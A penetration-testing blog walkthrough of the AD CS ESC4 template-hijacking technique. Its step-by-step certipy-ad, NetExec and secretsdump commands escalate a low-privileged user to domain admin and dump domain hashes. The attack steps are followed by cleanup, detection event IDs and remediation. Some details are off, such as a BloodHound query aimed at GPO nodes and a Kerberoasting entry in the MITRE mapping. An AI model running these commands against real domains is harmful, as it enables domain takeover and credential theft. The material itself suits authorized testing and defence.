Breaking In With Paper: Abusing AD CS ESC4 - Template Hijacking
A practical walkthrough of AD CS ESC4 (certificate template hijacking) - how overpermissive template ACLs allow low-privileged users forge authentication certificates and escalate to Domain Admin without cracking a single password, including safe testing methodology, detection events, and remediation guidence.
Legal & ethical reminder: Only perform the techniques below with explicit written authorization or in a lab. This post is for defensive education and professional testing. Not for abuse.
TL;DR
Active Directory Certificate Services (AD CS) can be misconfigured so that low-privileged users can modify a certificate template and mint an authentication-capable certificate for another identity. That abuse path known as ESC4, lets an attacker authenticate as a more-privileged account (often up to domain admin) without cracking passwords. We use Certipy (specifically the certipy-ad fork) to discover and exploit ESC4, then validated impact with NetExec and Impacket’s secretsdump in a controlled, authorized environment.
What’s ESC4 in Plain English?
- AD CS issues certificates for users and computers. Certificate templates define who can request what kind of certs and how those certs are constructed.
- In ESC4, a template’s ACLs are too permissive (e.g., a normal user can write or change the template object itself).
- Once you can change a template, you can tweak it so an enrollee can supply the UPN/SAN and the certificate includes Client Authentication / Smartcard Logon EKUs. That means you can request a cert that claims to be a privileged user, and AD will accept it for logon via PKINIT.
Why defenders care: It’s passwordless privilege escalation via the org’s own PKI.
Attack Flow (High-Level)
- Discover certificate authorities & templates; identify a template where your current user has write-like rights.
- Adjust the template to allow enrollee-supplied subject/SAN and ensure Client Authentication EKU is present.
- Request a certificate for a target UPN (e.g., an administrative account).
- Authenticate to AD with the new certificate (PKINIT) and obtain usable credentials/tickets.
- Validate impact safely (e.g., demonstrate file-level control or directory replication ability) and stop.
- Restore the template to its original configuration before wrapping up.
We use certipy-ad for steps 1–4, then NetExec to verify administrative share access and Impacket’s secretsdump to prove directory replication rights.
Tooling We Used (and Why)
| Tool | Purpose |
|---|---|
| certipy-ad | Enumerates AD CS; inspects, modifies, and restores templates; requests and authenticates with certs |
| NetExec | Lightweight validation of ADMIN$ access without destructive actions |
| Impacket (secretsdump) | Proof of domain impact via DCSync, scoped tightly |
| BloodHound CE | Graph-based discovery of ESC4-reachable templates via ACL edge traversal |
Preconditions (what makes ESC4 exploitable)
You need a certificate template object where a low-privileged principal (your foothold account) holds one of the following dangerous ACEs:
| ACE | Effect |
|---|---|
Owner / WriteOwner | Take or reassign ownership of the template object |
WriteDACL | Rewrite the template’s ACL, grant yourself any right |
WriteProperty / GenericWrite | Directly modify template attributes (flags, EKUs, etc.) |
GenericAll | Full control, all of the above |
WriteDACLvsWriteProperty: These lead to slightly different attack paths.WriteDACLmeans you modify the ACL first to grant yourselfWriteProperty, then alter the template.WriteProperty(orGenericWrite) lets you modify template attributes directly. Both end in the same place; detections and LDAP activity differ subtly.
With any of the above you can modify the template to:
- Enable enrollee-supplied subject / SAN (UPN)
- Ensure Client Authentication / Smartcard Logon EKUs are present
- Remove any manager approval requirement
Attack Walkthrough
Replace placeholders throughout:
DOM,dom.local,user,Passw0rd!,10.0.0.10(DC IP),CA01.dom.local,VulnTemplate,targetadmin@dom.local,DOM-LOCAL-CA01
Discovery (find vulnerable templates)
With Certipy
1
2
3
# Enumerate CA + templates and flag known abuses
certipy-ad find -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -vulnerable -stdout
Review output for ESC4 entries. Under Object Control Permissions, look for your principal (or a group it belongs to) holding one of the dangerous ACEs listed above.
With BloodHound CE
BloodHound CE with ADCS support surfaces ESC4-reachable templates as graph edges. After ingesting with SharpHound or the BloodHound Python collector, query for:
1
2
3
4
5
6
MATCH p=shortestPath(
(u:User {name: "USER@DOM.LOCAL"})-[r*1..]->(t:GPO)
)
WHERE ANY(rel IN relationships(p)
WHERE type(rel) IN ["WriteOwner","WriteDACL","GenericAll","GenericWrite","WriteProperty"])
RETURN p
More usefully, use the built-in “Find Principals with DCSync Rights” and “Shortest Paths to Domain Admins” queries and look for ADCS-related nodes or search for the template object directly and inspect its inbound edges. BloodHound makes it easy to see multi-hop paths where a low-priv user has WriteDACL → template → Enroll → DA.
Step 1 — Inspect the Template
1
2
# View current template settings before touching anything
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -view
Confirm the EKUs, subject flags, and enrollment permissions before proceeding. Know exactly what you’re changing.
Step 2 - Modify the Template
1
2
3
4
5
# certipy-ad automatically saves original settings to VulnTemplate.json before making changes.
# Verify that file exists on disk before proceeding — if your session drops after this step
# but before cleanup, that JSON is your only way to restore the template cleanly.
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -write-default-configuration
⚠️ Before you run this: confirm
VulnTemplate.jsonwas written. If you get disconnected between this step and cleanup, the template stays in its modified (vulnerable) state. That’s an incident. Keep the JSON somewhere safe and note the time of modification for your report.
Step 3 — Request a Certificate for the Target Account
1
2
3
4
5
6
7
# Request a certificate impersonating a privileged account
# -target : FQDN of the CA host
# -ca : CA name (from discovery output)
# -upn : target account UPN
# -sid : target account SID (required for strong mapping / newer patch levels)
certipy-ad req -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -target 'CA01.dom.local' -ca 'DOM-LOCAL-CA01' -template 'VulnTemplate' -upn 'targetadmin@dom.local' -sid 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
Output: targetadmin.pfx
Step 4 — Authenticate with the Certificate (PKINIT)
1
certipy-ad auth -pfx 'targetadmin.pfx' -dc-ip 10.0.0.10
Expected output:
1
2
3
4
5
6
7
8
9
10
11
[*] Certificate identities:
[*] SAN UPN: 'targetadmin@dom.local'
[*] SAN URL SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Security Extention SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Using principal: 'targetdomain@dom.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'targetadmin.ccache'
[*] Wrote credential cache to 'targetadmin.ccache'
[*] Trying to retrieve NT hash for 'targetadmin'
[*] Got hash for 'targetadmin@dom.local': LM_hash:NT_hash
Note the NT hash and ccache path.
Step 5 — Prove DC File-Level Control (ADMIN$)
1
2
3
4
5
# List shares
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --shares
# Canary file write. Minimally invasive proof of ADMIN$ write
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --put-file ./sigh.txt 'C$\Windows\Temp\_sigh.txt'
Prefer a file write over remote code execution for initial impact proof. It’s less disruptive and still clearly demonstrates control.
Step 6 — DCSync / Hash Dump (Scoped)
1
2
3
4
5
# DCSync, scoped to domain controllers only
impacket-secretsdump -just-dc DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>
# Or full dump (SAM/LSA/AD) depending on privileges:
impacket-secretsdump DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>
Capture DA hashes and a minimal sample to prove impact. Avoid bulk dumps unless your scope explicitly requires it.
Step 7 — Cleanup ⚠️ Don’t Skip This
1
2
# Restore the template from the backup certipy-ad saved automatically
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -write-configuration 'VulnTemplate.json' -no-save
After restoring the template, complete the following before closing out:
- Revoke the issued test certificate(s) and publish updated CRLs/OCSP.
- Delete any canary files from the DC (e.g.,
C:\Windows\Temp\_sigh.txt). - Securely wipe PFX, ccache, and hash files from tester systems.
- Document the exact modification time and restore time in your notes — this matters for the client’s log review.
OPSEC Notes
- Throttle actions — template changes and certificate issuance generate clear, auditable events. Make the minimum changes needed and revert them promptly.
- Minimise data — prefer a small file write over broad data grabs. If demonstrating DCSync, capture just enough to prove impact.
- Coordinate with the SOC — if the engagement involves a blue team, give them a heads-up on timing so they can correlate events without treating it as a live incident.
- The cleanup is the riskiest part — more goes wrong during template restoration than during exploitation. Don’t rush it.
Detection & Telemetry
Share this with your clients. These are the signals that would catch ESC4 abuse.
Windows Security Log — CA / AD CS
| Event ID | Meaning |
|---|---|
| 4886 | Certificate request submitted |
| 4887 | Certificate issued |
| 4899 | Certificate template modified — this is the smoking gun for ESC4 |
4899 logged immediately after your certipy-ad template ... -write-default-configuration command. If SACL auditing is enabled on the template object in AD, you’ll also see object access events.
Windows Security Log — Domain Controllers
| Event ID | Meaning |
|---|---|
| 4768 | Kerberos TGT request — PKINIT requests have distinctive PreAuthType: 16 or 17 |
| 4769 | Kerberos service ticket request |
Look for certificate-based authentication from non-smartcard users or from hosts that don’t normally use PKINIT.
SIEM Correlation
A high-confidence ESC4 detection rule looks like:
4899 (template modified) → 4887 (cert issued for unusual UPN) → 4768 (PKINIT TGT) → lateral movement/DCSync, all from the same source host within a short window.
Remediation Guidance
1. Fix Template Ownership & ACLs
- Set Owner to a Tier-0 group (e.g., Domain Admins or a dedicated PKI Admins group).
- Remove
WriteOwner,WriteDACL,WriteProperty,GenericWrite, andGenericAllfrom any non-Tier-0 principal. - Audit with PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Find templates with dangerous ACEs granted to non-admin principals
Import-Module ActiveDirectory
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dom,DC=local" `
-Filter {objectClass -eq "pKICertificateTemplate"} -Properties nTSecurityDescriptor
foreach ($t in $templates) {
$acl = $t.nTSecurityDescriptor
foreach ($ace in $acl.Access) {
if ($ace.ActiveDirectoryRights -match "WriteProperty|WriteDACL|WriteOwner|GenericAll|GenericWrite") {
if ($ace.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM") {
Write-Output "$($t.Name) — $($ace.IdentityReference) — $($ace.ActiveDirectoryRights)"
}
}
}
}
2. Harden Template Settings
- Disable enrollee-supplied subject/SAN (
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) unless there’s a clear business need. - Remove Client Authentication and Smartcard Logon EKUs from templates not intended for user auth.
- Enable CA certificate manager approval (
CT_FLAG_PEND_ALL_REQUESTS) on sensitive templates.
3. Restrict Enrollment
- Scope
EnrollandAutoEnrollpermissions to the smallest necessary security groups, notDomain UsersorAuthenticated Users.
4. Monitor Continuously
- Alert on Event ID 4899. This should be rare in production; any occurrence warrants investigation.
- Correlate 4886/4887 against expected enrollment patterns.
- Watch for anomalous PKINIT (4768 with cert-based pre-auth) from non-smartcard endpoints.
- Periodically review issued certificates via
certutil -viewor the CA MMC.
5. Post-Incident Hygiene
- Revoke affected certificates and publish updated CRLs/OCSP.
- Reset or rotate impacted privileged accounts.
- Review the CA’s issued cert list for any certificates you didn’t authorise.
Common Pitfalls & Gotchas
- Permission confusion: Rights on the CA object are not the same as rights on the template object. ESC4 is a template ACL issue; don’t confuse it with ESC7 (CA-level ACLs).
- Half-configured templates: If EKUs or subject flags aren’t set correctly after modification, the cert won’t authenticate. Double-check with
certipy-ad template ... -viewafter modifying. - PKINIT failures: Usually caused by time skew (keep clocks aligned), DC selection (use
-dc-ipexplicitly), or realm casing. Also check that the DC has a KDC certificate and that PKINIT is not disabled via GPO. -sidflag required on patched environments: Post-KB5014754, strong certificate mapping is enforced on newer patch levels. Always include-sidin yourreqcommand.- ADMIN$ write blocked: You may have a cert for a user without local admin on that specific DC. Validate group membership for the target account first.
- Cleanup fails due to stale session: If your Certipy session times out or you get disconnected, use the saved JSON backup manually. If you lost the JSON, use
certipy-ad template ... -viewto inspect the current (modified) state and revert attributes manually via LDAP or the CA MMC.
MITRE ATT&CK Mapping
| Technique | Description |
|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting — cert-based Kerberos abuse |
| T1550.003 | Use Alternate Authentication Material: Pass the Certificate |
| T1484.001 | Domain Policy Modification: Group Policy Modification (template ACL change is analogous) |
| T1003.006 | OS Credential Dumping: DCSync |
| T1078 | Valid Accounts — post-cert authentication as a privileged identity |
Final Thoughts
AD CS is powerful infrastructure and that’s exactly why misconfigurations like ESC4 are so dangerous. A single overly permissive ACE on a certificate template is all it takes to go from a low-privileged foothold to domain admin without touching a password.
For pentesters, ESC4 is a high-signal finding that lands well in executive reports: you modified the PKI, issued yourself a DA certificate, and dumped the domain. No passwords involved. For defenders, the fix is straightforward: tighten template ACLs, remove risky settings, restrict enrollment, and alert on 4899. If your organisation relies on certificates for user or service auth, put AD CS ACL audits on your regular security calendar they take an hour and close a domain-wide attack path.